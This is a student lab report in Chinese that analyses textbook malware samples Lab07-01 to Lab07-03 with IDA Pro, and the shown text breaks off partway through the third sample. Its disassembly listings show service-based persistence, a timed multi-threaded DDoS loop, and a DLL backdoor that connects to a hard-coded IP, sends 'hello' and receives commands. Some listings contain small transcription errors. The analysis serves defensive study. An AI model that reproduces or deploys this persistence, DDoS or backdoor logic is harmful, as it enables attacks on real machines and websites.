

南开大学

《恶意代码分析与防治技术》课程实验报告

实验七



学 院_____网络空间安全学院
专 业_____信息安全
学 号_____2112060
姓 名_____孙璐
班 级_____信息安全 1 班

一、实验目的

本次实验的主要目的是分析和理解一系列恶意代码的实验样本，包括 Lab07-01.exe、Lab07-02.exe、Lab07-03.exe、Lab07-03.exe，以及编写相应的 Yara 规则来检测这些恶意代码的存在。通过分析这些实验样本，可以了解恶意代码的行为、结构和特征，以及如何使用 Yara 规则来检测类似的恶意代码。

二、实验原理

实验基于静态分析和反汇编技术，通过使用 IDAPro 等工具来分析恶意代码的汇编指令和逻辑结构。

三、实验过程

（一）Lab7-1

Ida pro 打开 Lab07-01.exe 文件，查看导入表，看到了 OpenSCManagerA、StartServiceCtrlDispatcherA 和 CreateServiceA 函数，提示了这个文件创建了一个服务。InternetopenA 和 InternetopenUrl 的调用告诉这个程序可能连接到一个 URL 并下载内容。

Imports			
Address	Ordinal	Name	Library
00404000		CreateServiceA	ADVAPI32
00404004		StartServiceCtrlDispatcherA	ADVAPI32
00404008		OpenSCManagerA	ADVAPI32
00404010		CreateWaitableTimerA	KERNEL32
00404014		SystemTimeToFileTime	KERNEL32
00404018		GetModuleFileNameA	KERNEL32
0040401C		SetWaitableTimer	KERNEL32
00404020		CreateMutexA	KERNEL32
00404024		ExitProcess	KERNEL32
00404028		OpenMutexA	KERNEL32
0040402C		WaitForSingleObject	KERNEL32
00404030		CreateThread	KERNEL32
00404034		GetCurrentProcess	KERNEL32
00404038		Sleep	KERNEL32
0040403C		GetStringTypeA	KERNEL32
00404040		LCMapStringW	KERNEL32
00404044		LCMapStringA	KERNEL32
00404048		GetCommandLineA	KERNEL32
0040404C		GetVersion	KERNEL32
00404050		TerminateProcess	KERNEL32
00404054		UnhandledExceptionFilter	KERNEL32
00404058		FreeEnvironmentStringsA	KERNEL32
0040405C		FreeEnvironmentStringsW	KERNEL32
00404060		WideCharToMultiByte	KERNEL32
00404064		GetEnvironmentStrings	KERNEL32
00404068		GetEnvironmentStringsW	KERNEL32
0040406C		SetHandleCount	KERNEL32
00404070		GetStdHandle	KERNEL32
00404074		GetFileType	KERNEL32
00404078		GetStartupInfoA	KERNEL32
0040407C		HeapDestroy	KERNEL32
00404080		HeapCreate	KERNEL32
00404084		VirtualFree	KERNEL32
00404088		HeapFree	KERNEL32
0040408C		RtlUnwind	KERNEL32
00404090		WriteFile	KERNEL32
00404094		HeapAlloc	KERNEL32
00404098		GetCPIInfo	KERNEL32
0040409C		GetACP	KERNEL32
004040A0		GetOEMCP	KERNEL32
004040A4		VirtualAlloc	KERNEL32
004040A8		HeapReAlloc	KERNEL32
004040AC		GetProcAddress	KERNEL32
004040B0		LoadLibraryA	KERNEL32
004040B4		MultiByteToWideChar	KERNEL32
004040B8		GetStringTypeW	KERNEL32
004040C0		InternetOpenUrlA	WININET
004040C4		InternetOpenA	WININET

查看主函数

```
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main proc near ; CODE XREF: start+AF1p
.text:00401000 ServiceStartTable= SERVICE_TABLE_ENTRYA ptr -10h
.text:00401000 var_8 = dword ptr -8
.text:00401000 var_4 = dword ptr -4
.text:00401000 argc = dword ptr 4
.text:00401000 argv = dword ptr 8
.text:00401000 envp = dword ptr 0Ch
.text:00401000
.text:00401000 sub esp, 10h
.text:00401000 lea eax, [esp+10h+ServiceStartTable]
.text:00401007 mov [esp+10h+ServiceStartTable.lpServiceName], offset aMalService ; "MalService"
.text:0040100F push eax ; lpServiceStartTable
.text:00401010 mov [esp+14h+ServiceStartTable.lpServiceProc], offset sub_401040
.text:00401018 mov [esp+14h+var_8], 0
.text:00401020 mov [esp+14h+var_4], 0
.text:00401028 call ds:StartServiceCtrlDispatcherA
.text:0040102E push 0
.text:00401030 push 0
.text:00401032 call sub_401040
.text:00401037 add esp, 10h
.text:00401039 retn
.text:00401039 _main endp
.text:00401039
```

StartServiceCtrlDispatcherA 这个函数被程序用来实现一个服务，并且立即被调用，该函数指定了服务控制管理器会调用的服务控制函数。指定了 sub_401040 在调用 StartServiceCtrlDispatcherA 之后被调用。

查看 sub_401040

```
.text:00401040 ; ===== SUBROUTINE =====
.text:00401040
.text:00401040 sub_401040 proc near ; CODE XREF: _main+327p
.text:00401040 ; DATA XREF: _main+1070
.text:00401040
.text:00401040 SystemTime = SYSTEMTIME ptr -400h
.text:00401040 FileTime = _FILETIME ptr -3F0h
.text:00401040 Filename = byte ptr -3E8h
.text:00401040
.text:00401040 sub esp, 400h
.text:00401046 push offset Name ; "HGL345"
.text:00401048 push 0 ; bInheritHandle
.text:0040104D push 1F0001h ; dwDesiredAccess
.text:00401052 call ds:OpenMutexA
.text:00401058 test eax, eax
.text:0040105A jz short loc_401064
.text:0040105C push 0 ; uExitCode
.text:0040105E call ds:ExitProcess
```

首先对栈进行参数的压栈操作，从右边的注释中可以看见在栈中压入了“MalService”这个字符串。调用 OpenMutexA，这个调用试图去获取一个命名为 HGL345 的互斥量句柄。如果这个调用成功，程序就会退出，否则，将跳转到 loc_401064 处。

查看 loc_401064，

```
.text:00401064 loc_401064:
.text:00401064 push esi ; CODE XREF: sub_401040+1A7j
.text:00401065 push offset Name ; "HGL345"
.text:0040106A push 0 ; bInitialOwner
.text:0040106C push 0 ; lpMutexAttributes
.text:0040106E call ds:CreateMutexA
.text:00401074 push 3 ; dwDesiredAccess
.text:00401076 push 0 ; lpDatabaseName
.text:00401078 push 0 ; lpMachineName
.text:0040107A call ds:OpenSCManagerA
.text:0040107C mov esi, eax
.text:0040107E call ds:GetCurrentProcess
.text:00401082 lea eax, [esp+404h+Filename]
.text:0040108C push 3E8h ; nSize
.text:00401091 push eax ; lpFilename
.text:00401092 push 0 ; hModule
.text:00401094 call ds:GetModuleFileNameA
.text:0040109A push 0 ; lpPassword
.text:0040109C push 0 ; lpServiceStartName
.text:0040109E push 0 ; lpDependencies
.text:004010A0 push 0 ; lpdwFlagd
.text:004010A2 lea ecx, [esp+414h+Filename]
.text:004010A6 push 0 ; lpLoadOrderGroup
.text:004010A8 push ecx ; lpBinaryPathName
.text:004010AA push 0 ; dwErrorControl
.text:004010AC push 2 ; dwStartType
.text:004010AD push 10h ; dwServiceType
.text:004010AF push 2 ; dwDesiredAccess
.text:004010B1 push offset DisplayName ; "MalService"
.text:004010B6 push offset DisplayName ; "MalService"
.text:004010BB push esi ; hSCManager
.text:004010BC call ds:CreateServiceA
```

创建一个名为 HGL345 的互斥量。这两处对互斥量组合调用，被设计来保证这个可执行程序任意给定时刻只有一份实例在系统上运行。如果有一个实例已经在运行了，则对 OpenMutexA 的第一次调用成功，并且这个程序就会退出。如果打开失败则会创建这个互斥变量，之后调用 OpenSCManagerA 打开服务控制管理器并获取当前进程的全路径名。这个互斥量用来保证系统只打开了一个服务，而不会进行多次创建。

接下来调用 OpenSCManagerA, 打开一个服务控制管理器的句柄，以便这个程序可以添加或修改服务。调用 GetCurrentProcess 获取当前进程。

接下来调用 GetModuleFileNameA 函数，返回当前正在运行的可执行程序或一个被加载 DLL 的全路径名。第一个参数是要获取路径名的模块句柄，或者将它设置为 NULL 来获取这个可执行体的全路径名。

CreateServiceA 关键的参数是 0x004010A8 处 BinaryPathName, 0x004010AB 处 dwStartType 以及 0x004010AD 处的 dwServiceType。这个可执行程序的二进制路径与用 GetModuleFileName 调用得到的当前正在运行可执行程序路径是一样的。GetModuleFileNameA 通过动态地获得这些信息，它可以安装这个服务，而不用考虑哪个可执行程序被调用，或是它被保存在哪里。

dwStartType 可能的值是 SERVICE_BOOT_START (0x00)、SERVICE_SYSTEM_START (0x01)、SERVICE_AUTO_START (0x02)、SERVICE_DEMAND_START (0x03), 以及 SERVICE_DISABLED (0x04)。这个恶意代码传入 0x02, 它对应 SERVICE_AUTO_START, 暗示这个服务在系统启动时自动运行。

```
.text:004010C2      xor     edx, edx
.text:004010C4      lea     eax, [esp+404h+FileTime]
.text:004010C8      mov     dword ptr [esp+404h+SystemTime.wYear], edx
.text:004010CC      lea     ecx, [esp+404h+SystemTime]
.text:004010D0      mov     dword ptr [esp+404h+SystemTime.wDayOfWeek], edx
.text:004010D4      push    eax                ; lpFileTime
.text:004010D5      mov     dword ptr [esp+408h+SystemTime.wHour], edx
.text:004010D9      push    ecx                ; lpSystemTime
.text:004010DA      mov     dword ptr [esp+40Ch+SystemTime.wSecond], edx
.text:004010DE      mov     [esp+40Ch+SystemTime.wYear], 834h
.text:004010E5      call    ds:SystemTimeToFileTime
```

IDA Pro 标记了一个是 SYSTEMTIME 的结构体，对秒、分、小时、天的不同域用来指示时间。本例中，所有值首先被设置为 0, 然后表示年的值在 0x004010DE 处被设置为 0x0834, 也就是 10 进制的 2100。这个时间代表 2100 年 1 月 1 日的 0:00。然后，程序调用 SystemTimeToFileTime 在不同时间格式之间转换。

```

.text:004010EB      push     0           ; lpTimerName
.text:004010ED      push     0           ; bManualReset
.text:004010EF      push     0           ; lpTimerAttributes
.text:004010F1      call     ds:CreateWaitableTimerA
.text:004010F7      push     0           ; fResume
.text:004010F9      push     0           ; lpArgToCompletionRoutine
.text:004010FB      push     0           ; pfnCompletionRoutine
.text:004010FD      lea     edx, [esp+410h+FileTime]
.text:00401101      mov     esi, eax
.text:00401103      push     0           ; lPeriod
.text:00401105      push     edx          ; lpDueTime
.text:00401106      push     esi          ; hTimer
.text:00401107      call     ds:SetWaitableTimer
.text:0040110D      push     0FFFFFFFFh   ; dwMilliseconds
.text:0040110F      push     esi          ; hHandle
.text:00401110      call     ds:WaitForSingleObject
.text:00401116      test    eax, eax
.text:00401118      jnz     short loc_40113B
.text:0040111A      push     edi
.text:0040111B      mov     edi, ds:CreateThread
.text:00401121      mov     esi, 14h

```

接下来，程序调用 `CreateWaitableTimer`、`SetWaitableTimer`，以及 `WaitForSingleObject`。传给 `SetWaitableTimer` 的 `lpDueTime` 参数是 `SystemTimeToFileTime` 返回的 `FileTime`。这段代码随后使用 `WaitForSingleObject` 进入等待，直到 2100 年 1 月 1 日。ESI 被设置为计数器 0x14(十进制 20)，代码接着循环 20 次。循环的末尾，ESI 被递减，并且当它到达 0 时，循环退出。

```

.text:00401126 loc_401126:      ; CODE XREF: sub_401040+F8j
.text:00401126      push     0           ; lpThreadId
.text:00401128      push     0           ; dwCreationFlags
.text:0040112A      push     0           ; lpParameter
.text:0040112C      push     offset StartAddress ; lpStartAddress
.text:00401131      push     0           ; dwStackSize
.text:00401133      push     0           ; lpThreadAttributes
.text:00401135      call     edi ; CreateThread
.text:00401137      dec     esi
.text:00401138      jnz     short loc_401126
.text:0040113A      pop     edi
.text:0040113B loc_40113B:      ; CODE XREF: sub_401040+D8j
.text:0040113B      push     0FFFFFFFFh   ; dwMilliseconds
.text:0040113D      call     ds:Sleep
.text:00401143      xor     eax, eax
.text:00401145      pop     esi
.text:00401146      add     esp, 400h
.text:0040114C      retn
.text:0040114C sub_401040      endp

```

调用 `CreateThread` 函数，`lpStartAddress` 参数告诉我们哪个函数被当作这个线程的起始地址使用——本例中标记为 `StartAddress`。

查看 `StartAddress`

```

.text:00401150 ; DWORD __stdcall StartAddress(LPVOID lpThreadParameter)
.text:00401150 StartAddress proc near      ; DATA XREF: sub_401040+EC70
.text:00401150      lpThreadParameter= dword ptr 4
.text:00401150      push     esi
.text:00401151      push     edi
.text:00401152      push     0           ; dwFlags
.text:00401154      push     0           ; lpszProxyBypass
.text:00401156      push     0           ; lpszProxy
.text:00401158      push     1           ; dwAccessType
.text:0040115A      push     offset szAgent ; "Internet Explorer 8.0"
.text:0040115F      call     ds:InternetOpenA
.text:00401165      mov     edi, ds:InternetOpenUrlA
.text:00401168      mov     esi, eax
.text:0040116D loc_40116D:      ; CODE XREF: StartAddress+30j
.text:0040116D      push     0           ; dwContext
.text:0040116F      push     80000000h    ; dwFlags
.text:00401174      push     0           ; dwHeadersLength
.text:00401176      push     0           ; lpszHeaders
.text:00401178      push     offset szUrl  ; "http://www.malwareanalysisbook.com"
.text:0040117D      push     esi          ; hInternet
.text:0040117E      call     edi ; InternetOpenUrlA
.text:00401180      jmp     short loc_40116D
.text:00401180 StartAddress      endp

```

调用 `InternetOpenA` 来初始化一个到网络的连接，接着在一个循环中调用 `InternetOpenUrlA`，并且一直下载该网址的主页。循环末尾的 `jmp` 指令(0 处)是

一个无条件跳转，这意味着这段代码永远不会终止；调用 `InternetopenUrlA`，并且一直下载 `www.malwareanalysisbook.com` 的主页。`CreateThread` 被调用了 20 次，有 20 个线程一直调用 `InternetopenUrlA`。

显然，这个恶意代码的目的是将自己在多个机器上安装成一个服务，进而启动一个 DDoS 攻击。如果所有被感染的机器在同一时间(2100 年 1 月 1 日)连接到服务器，它们可能使服务器过载并无法访问该站点。

1. 当计算机重启后，这个程序如何确保它继续运行(达到持久化驻留)?

这个程序创建服务 `MalService`，来保证每次在系统启动后运行。

2. 为什么这个程序会使用一个互斥量?

这个程序使用一个互斥量，来保证在同一时间这个程序只有一份实例在运行。

3. 可以用来检测这个程序的基于主机特征是什么?

可以搜索一个名为 `HGL345` 的互斥量，以及 `MalService` 服务。

4. 检测这个恶意代码的基于网络特征是什么?

这个恶意代码使用用户代理 `Internet Explorer 8.0`，并和 `www.malwareanalysisbook.com` 通信。

5. 这个程序的目的是什么?

这个程序等待直到 2100 年 1 月 1 日的 0:00，发送许多请求到 `http://www.malwareanalysisbook.com/`，大概是为了对这个网站进行一次分布式拒绝服务 (DDoS) 攻击。

6. 这个程序什么时候完成执行?

这个程序永远不会完成。它在一个定时器上等待直到 2100 年，到时候创建 20 个线程，每一个运行一个无限循环。

(二) Lab7-2

查看导入表，后 6 个函数是与 `com` 相关的。

Address	Ordinal	Name	Library
00402000		__getmainargs	MSVCRT
00402004		__controlfp	MSVCRT
00402008		__except_handler3	MSVCRT
0040200C		__set_app_type	MSVCRT
00402010		__p_fmode	MSVCRT
00402014		__p_commode	MSVCRT
00402018		__exit	MSVCRT
0040201C		__XcptFilter	MSVCRT
00402020		__exit	MSVCRT
00402024		__p__initenv	MSVCRT
00402028		__initterm	MSVCRT
0040202C		__setusermatherr	MSVCRT
00402030		__adjust_fdiv	MSVCRT
00402038	8	VariantInit	OLEAUT32
0040203C	2	SysAllocString	OLEAUT32
00402040	6	SysFreeString	OLEAUT32
00402048		OleInitialize	ole32
0040204C		CoCreateInstance	ole32
00402050		OleUninitialize	ole32

当运行这个程序时，打开一个 Internet Explorer，并弹出一个访问的网址是 <http://www.malwareanalysisbook.com/ad.html> 的广告。没有发现任何这个程序修改系统或安装它自己以便在计算机重启后运行的证据。

查看 main 函数

```
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main proc near ; CODE XREF: start+0E1p
.text:00401000
.text:00401000 ppv = dword ptr -24h
.text:00401000 pvarg = VARINF1AB6 ptr -20h
.text:00401000 var_10 = word ptr -10h
.text:00401000 var_8 = dword ptr -8
.text:00401000 argc = dword ptr 4
.text:00401000 argv = dword ptr 8
.text:00401000 envp = dword ptr 0Ch
.text:00401000
.text:00401000 sub esp, 24h
.text:00401000 push 0 ; puReserved
.text:00401000 call ds:OleInitialize
.text:00401000 test eax, eax
.text:00401000 jl short loc_401085
.text:00401000 lea eax, [esp+24h+ppv]
.text:00401000 push eax ; ppv
.text:00401000 push offset riid ; riid
.text:00401000 push 4 ; dwClsContext
.text:00401000 push 0 ; pUnkOuter
.text:00401000 push offset rclsid ; rclsid
.text:00401000 call ds:CoCreateInstance
.text:00401000 mov eax, [esp+24h+ppv]
.text:00401000 test eax, eax
.text:00401000 jz short loc_40107F
.text:00401000 lea ecx, [esp+24h+pvarg]
.text:00401000 push esi
.text:00401000 push ecx ; pvarg
.text:00401000 call ds:VariantInit
```

该恶意代码首先初始化 COM，并调用 OleInitialize 和 CoCreateInstance 获得一个 COM 对象。返回的 COM 对象被保存在栈上的 ppv 变量中，参数 riid 和 rclsid 分别表示接口标识符（IID）和类标识符（CLSID）。

单击 rclsid 显示 0002DF01-0000-0000-C000-0000000000046，单击 riid 显示 D30C1661-CDAF-11D0-8A3E-00C04FC9E26E。

```
.rdata:00402058 ; IID rclsid
.rdata:00402058 rclsid dd 2DF01h ; Data1 ; DATA XREF: _main+1D10
.rdata:00402058 dw 0 ; Data2
.rdata:00402058 dw 0 ; Data3
.rdata:00402058 db 0C0h, 6 dup(0), 46h ; Data4

.rdata:00402068 ; riid
.rdata:00402068 riid dd 030C1661h ; Data1 ; DATA XREF: _main+1410
.rdata:00402068 dw 0CDAFh ; Data2
.rdata:00402068 dw 11D0h ; Data3
.rdata:00402068 db 8Ah, 3Eh, 0, 0C0h, 4Fh, 0C9h, 0E2h, 6Eh ; Data4
```

这个 IID 是 IWebBrowser2，CLSID 对应 Internet Explorer。

```

.text:0040103C      push    offset psz      ; "http://www.malwareanalysisbook.com/ad.h"...
.text:00401041      mov     [esp+2Ch+var_10], 3
.text:00401048      mov     [esp+2Ch+var_8], 1
.text:00401055      call    ds:SysAllocString
.text:00401056      lea     ecx, [esp+28h+puarg]
.text:0040105A      mov     esi, eax
.text:0040105C      mov     eax, [esp+28h+ppv]
.text:00401060      push    ecx
.text:00401061      lea     ecx, [esp+2Ch+puarg]
.text:00401065      mov     edx, [eax]
.text:00401067      push    ecx
.text:00401068      lea     ecx, [esp+30h+puarg]
.text:0040106C      push    ecx
.text:0040106D      lea     ecx, [esp+34h+var_10]
.text:00401071      push    ecx
.text:00401072      push    esi
.text:00401073      push    eax
.text:00401074      call    dword ptr [edx+2Ch]
.text:00401077      push    esi
.text:00401078      call    ds:SysFreeString ; bstrString
.text:0040107E      pop     esi
.text:0040107F      loc_40107F:
.text:0040107F      call    ds:01eUninitialize ; CODE XREF: _main+2E7j
.text:00401085      loc_401085:
.text:00401085      xor     eax, eax ; CODE XREF: _main+07j
.text:00401087      add     esp, 24h
.text:00401088      retn
.text:00401088      main      endp

```

VariantInit 的功能是释放空间、初始化变量； SysAllocString 是用来给分配内存，并返回 BSTR； SysFreeString 是用来释放刚刚分配的内存的。

分配内存时给之前 string 分析出来的 url 分配内存，而在释放之前调用了 一个 dword ptr [edx+2Ch] 。

EAX 指向 COM 对象的位置，然后被解引用。EDX 指向这个 COM 对象的基址。这个对象中偏移 0x2C 处的一个函数被调用，IWebBrowser2 接口的偏移 0x2C 是 Navigate 函数。

使用 IDA Pro 中的 Structures 窗口，创建一个结构体，并标记这个偏移。当 Navigate 函数被调用，Internet Explorer 将导航网址 <http://www.malwareanalysisbook.com/ad.html>。

调用 Navigate 函数之后，会执行一些清理函数，然后程序终止。这个程序不会持久化地安装它自己，并且也不修改系统。它简单地显示一个一次性的广告。

1. 这个程序如何完成持久化驻留？

这个程序没有完成持久化驻留。它运行一次然后退出。

2. 这个程序的目的是什么？

这个程序给用户显示一个广告网页。

3. 这个程序什么时候完成执行？

这个程序在显示这个广告后完成执行。

（三） Lab7-3

查看字符串

Address	Length	Type	String
.rdata:00...	0000000D	C	KERNEL32.dll
.rdata:00...	0000000B	C	MSVCRT.dll
.data:004...	0000000D	C	kernel32.dll
.data:004...	00000005	C	.exe
.data:004...	00000005	C	C:*
.data:004...	00000021	C	C:\\windows\\system32\\kernel32.dll
.data:004...	0000000D	C	Lab07-03.dll
.data:004...	00000021	C	C:\\Windows\\System32\\Kernel32.dll
.data:004...	00000027	C	WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

字符串 kernel32.dll 很明显被设计看起来与 kernel32.dll 相似，用 1 替换了 l。

字符串 Lab07-03.dll 告诉我们这个.exe 可能以某种方式在这个实验中访问这个 DLL。字符串 WARNING_THIS_WILL_DESTROY_YOUR_MACHINE 是本书专门用来修改这个恶意代码的人工制品。

查看导入表

Address	Ordinal	Name	Library
00402000		CloseHandle	KERNEL32
00402004		UnmapViewOfFile	KERNEL32
00402008		IsBadReadPtr	KERNEL32
0040200C		MapViewOfFile	KERNEL32
00402010		CreateFileMappingA	KERNEL32
00402014		CreateFileA	KERNEL32
00402018		FindClose	KERNEL32
0040201C		FindNextFileA	KERNEL32
00402020		FindFirstFileA	KERNEL32
00402024		CopyFileA	KERNEL32
0040202C		malloc	MSVCRT
00402030		exit	MSVCRT
00402034		_exit	MSVCRT
00402038		_XcptFilter	MSVCRT
0040203C		_p__initenv	MSVCRT
00402040		_getmainargs	MSVCRT
00402044		_initterm	MSVCRT
00402048		_setusermatherr	MSVCRT
0040204C		_adjust_fdiv	MSVCRT
00402050		_p__commode	MSVCRT
00402054		_p__fmode	MSVCRT
00402058		_set_app_type	MSVCRT
0040205C		_except_handler3	MSVCRT
00402060		_controlfp	MSVCRT
00402064		_stricmp	MSVCRT

CreateFileA、CreateFileMappingA, 以及 MapViewOfFile, 告诉这个程序可能创建并打开一个文件，然后将它映射到内存中。FindFirstFileA 和 FindNextFileA 函数告诉这个程序可能搜索目录，查找文件；CopyFileA 说明程序会复制它找到的文件。

但并没有导入 Lab07-03.dll (或使用任何这个 DLL 中的函数)、LoadLibrary, 或者 GetProcAddress, 暗示可能没有在运行时加载那个 DLL。

Ida pro 打开 Lab07-03.dll 文件

查看 Lab07-03.dll 的字符串

Address	Length	Type	String
.rdata:10...	0000000D	C	KERNEL32.dll
.rdata:10...	0000000B	C	WS2_32.dll
.rdata:10...	0000000B	C	MSVCRT.dll
.data:100...	00000005	C	exec
.data:100...	00000006	C	sleep
.data:100...	00000006	C	hello
.data:100...	0000000E	C	127.26.152.13
.data:100...	00000009	C	SADFHUHF

可以看到字符串 hello、sleep、exec 等，还看到一个 ip 地址，127.26.152.13。“exec”说明这个程序有可能是个后门程序，“127.26.152.13”这个 ip 很有可能就是个后门木马。

查看 Lab07-03.dll 的导入表

Address	Ordinal	Name	Library
10002000		Sleep	KERNEL32
10002004		CreateProcessA	KERNEL32
10002008		CreateMutexA	KERNEL32
1000200C		OpenMutexA	KERNEL32
10002010		CloseHandle	KERNEL32
10002018		_adjust_fdiv	MSVCRT
1000201C		malloc	MSVCRT
10002020		_initterm	MSVCRT
10002024		free	MSVCRT
10002028		strncmp	MSVCRT
10002030	23	socket	WS2_32
10002034	115	WSAStartup	WS2_32
10002038	11	inet_addr	WS2_32
1000203C	4	connect	WS2_32
10002040	19	send	WS2_32
10002044	22	shutdown	WS2_32
10002048	16	recv	WS2_32
1000204C	3	closesocket	WS2_32
10002050	116	WSACleanup	WS2_32
10002054	9	htons	WS2_32

看到从 ws2_32.dll 中的导入表中包含了要通过网络发送和接收数据所需要的所有函数。CreateProcess 函数告诉我们这个程序可能创建另外一个进程。CreateMutexA 和 OpenMutexA 说明这个 dll 文件会创建和打开一个互斥变量，还会调用 Sleep 函数来休眠。

查看 Lab07-03.dll 的导出表

Name	Address	Ordinal
DllEntryPoint	100012FA	

发现它不能被另外一个程序导入，尽管一个程序还是可以调用 LoadLibrary 来载入没有导出的 DLL。

当运行这个可执行程序时，快速退出，而没有什么引人注目的活动。

查看 Lab07-03.dll 的 main 函数

```
.text:10001010 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001010 _DllMain@12 proc near ; CODE XREF: DllEntryPoint+4B1p
.text:10001010
.text:10001010 hObject = dword ptr -11F8h
.text:10001010 name = sockaddr ptr -11F4h
.text:10001010 ProcessInformation= _PROCESS_INFORMATION ptr -11E4h
.text:10001010 StartupInfo = _STARTUPINFOA ptr -11D4h
.text:10001010 WSADATA = WSADATA ptr -1190h
.text:10001010 buf = byte ptr -1000h
.text:10001010 var_FFF = byte ptr -0FFh
.text:10001010 CommandLine = byte ptr -0FFBh
.text:10001010 hinstDLL = dword ptr 4
.text:10001010 fdwReason = dword ptr 8
.text:10001010 lpvReserved = dword ptr 0Ch
```

```

.text:10001010      mov     eax, 11F8h
.text:10001015      call    __alloca_probe
.text:1000101A      mov     eax, [esp+11F8h+fdwReason]
.text:10001021      push    ebx
.text:10001022      push    ebp
.text:10001023      push    esi
.text:10001024      cmp     eax, 1
.text:10001027      push    edi
.text:10001028      jnz     loc_100011E8

```

这个样本首先分配了一个非常大的栈空间（11F8h，也就是 4600d），调用通过库函数 `_alloca_probe`，来在空间中分配栈。fdwReason 的值赋值给了 eax，并和 1 比较大小，如果不等于 1 就跳转到 loc_100011E8 执行，程序结束；由此分析，这个代码是希望 fdwReason=1 的，进而才能继续执行下面的代码。

```

.text:1000102E      mov     al, byte_10026054
.text:10001033      mov     ecx, 3FFh
.text:10001038      mov     [esp+1208h+buf], al
.text:1000103F      xor     eax, eax
.text:10001041      lea     edi, [esp+1208h+var_FFF]
.text:10001048      push    offset Name ; "SADFHUHF"
.text:1000104D      rep     stosd
.text:1000104F      stosw
.text:10001051      push    0 ; binheritHandle
.text:10001053      push    1F0001h ; dwDesiredAccess
.text:10001058      stosb
.text:10001059      call    ds:OpenMutexA
.text:1000105F      test    eax, eax
.text:10001061      jnz     loc_100011E8
.text:10001067      push    offset Name ; "SADFHUHF"
.text:1000106C      push    eax ; bInitialOwner
.text:1000106D      push    eax ; lpMutexAttributes
.text:1000106E      call    ds:CreateMutexA
.text:10001074      lea     ecx, [esp+1208h+WSAData]
.text:10001078      push    ecx ; lpWSAData
.text:10001079      push    202h ; wVersionRequested
.text:1000107E      call    ds:WSAStartup
.text:10001084      test    eax, eax
.text:10001086      jnz     loc_100011E8

```

将这个 byte_10026054 赋值给 al，而 byte_10026054 是 0，也就是将 al 置 0。将 al 存入 [esp+1208h+Str2]，将 eax 置为 0，压入其他参数，调用函数 `OpenMutexA` 打开了一个名为“SADFHUHF”的互斥量，检查返回值，如果 eax=0，即调用成功则不跳转，继续执行；否则将跳转到 loc_100011E8 处，程序结束。接着又调用 `CreateMutexA` 来创建一个名为“SADFHUHF”互斥量。

对 `OpenMutexA` 和 `CreateMutexA` 的函数调用，保证同一时间只有这个恶意代码的一个实例在运行。

```

.text:10001086      jnz     loc_100011E8
.text:1000108C      push    6 ; protocol
.text:1000108E      push    1 ; type
.text:10001090      push    2 ; af
.text:10001092      call    ds:socket
.text:10001098      mov     esi, eax
.text:1000109A      cmp     esi, 0FFFFFFFh
.text:1000109D      jz      loc_100011E2
.text:100010A3      push    offset cp ; "127.26.152.13"
.text:100010A8      mov     [esp+120Ch+name.sa_family], 2
.text:100010AF      call    ds:inet_addr
.text:100010B5      push    50h ; hostshort
.text:100010B7      mov     dword ptr [esp+120Ch+name.sa_data+2], eax
.text:100010BB      call    ds:htons
.text:100010C1      lea     edx, [esp+1208h+name]
.text:100010C5      push    10h ; namelen
.text:100010C7      push    edx ; name
.text:100010C8      push    esi ; s
.text:100010C9      mov     word ptr [esp+1214h+name.sa_data], ax
.text:100010CE      call    ds:connect
.text:100010D4      cmp     eax, 0FFFFFFFh
.text:100010D7      jz      loc_100011D8
.text:100010DD      mov     ebx, ds:strncmp
.text:100010E3      mov     ebx, ds:CreateProcessA

```

调用 `WSAStartup` 函数初始化套接字，其参数 202h 说明推荐调用者使用的最高版本号套接字版本是 2.2，lpWSAData 是指向 WSAData 数据结构的指针，

用于接收 Windows Sockets 实现的详细信息，即本机系统实际使用的版本号。调用成功后，程序会调用 socket 函数创建一个流式套接字，然后将返回值赋值给 esi，并与 0FFFFFFFFh 进行比较，也就是十进制的-1，如果返回值大于-1，程序继续执行，否则将跳转到 loc_100011E2 处，做一些清理工作后退出程序。

执行 connect 函数，参数 s 的值是 esi，是刚刚 WSStartup 初始化之后保存在 esi 栈中的套接字；name 的值是 edx，指向的经过 inet_addr 和 htons 调用后的“127.26.152.13”，即从主机序转换成了网络序；namelen 的值是 10h 也就是十进制的 16；端口参数是 0x50，也就是端口 80，这个端口通常被 Web 流量所使用。与 0FFFFFFFFh 进行比较，也就是十进制的-1，如果返回值大于-1，程序继续执行，否则将跳转到 loc_100011DB 处。

ebp 存储 strncmp 函数的位置，就是指向 strncmp 函数的一个值；ebx 是指向 CreateProcessA 的指针。

```
.text:100010E9 loc_100010E9: ; CODE XREF: DllMain(x,x,x)+12A;j
.text:100010E9 ; DllMain(x,x,x)+14F;j ...
.text:100010E9 mov     edi, offset buf ; "hello"
.text:100010EE or      ecx, 0FFFFFFFFh
.text:100010F1 xor     eax, eax
.text:100010F3 push    0 ; flags
.text:100010F5 repne scasb
.text:100010F7 not     ecx
.text:100010F9 dec     ecx
.text:100010FA push    ecx ; len
.text:100010FB push    offset buf ; "hello"
.text:10001100 push    esi ; s
.text:10001101 call    ds:send
.text:10001107 cmp     eax, 0FFFFFFFFh
.text:1000110A jz      loc_100011DB
.text:10001110 push    1 ; how
.text:10001112 push    esi ; s
.text:10001113 call    ds:shutdown
.text:10001119 cmp     eax, 0FFFFFFFFh
.text:1000111C jz      loc_100011DB
.text:10001122 push    0 ; flags
.text:10001124 lea     eax, [esp+120Ch+buf]
.text:1000112B push    1000h ; len
.text:10001130 push    eax ; buf
.text:10001131 push    esi ; s
.text:10001132 call    ds:recv
.text:10001138 test    eax, eax
.text:1000113A jle     short loc_100010E9
.text:1000113C lea     ecx, [esp+1208h+buf]
.text:10001143 push    5 ; MaxCount
.text:10001145 push    ecx ; Str2
.text:10001146 push    offset Str1 ; "Sleep"
.text:10001148 call    ebp ; strncmp
.text:1000114D add     esp, 0Ch
.text:10001150 test    eax, eax
.text:10001152 jnz     short loc_10001161
.text:10001154 push    60000h ; dwMilliseconds
.text:10001159 call    ds:Sleep
.text:1000115F jmp     short loc_100010E9
```

buf 参数保存了将要通过网络发送的数据，指向 buf 的指针代表字符串 hello，并做了相应的标记。这似乎是一个受害机器发送的问候，来使服务器知道它已经准备好执行一个命令了。

调用 send 这个函数，将 buf 里面的“hello”发送出去，调用 shutdown 函数，关闭 socket 连接。

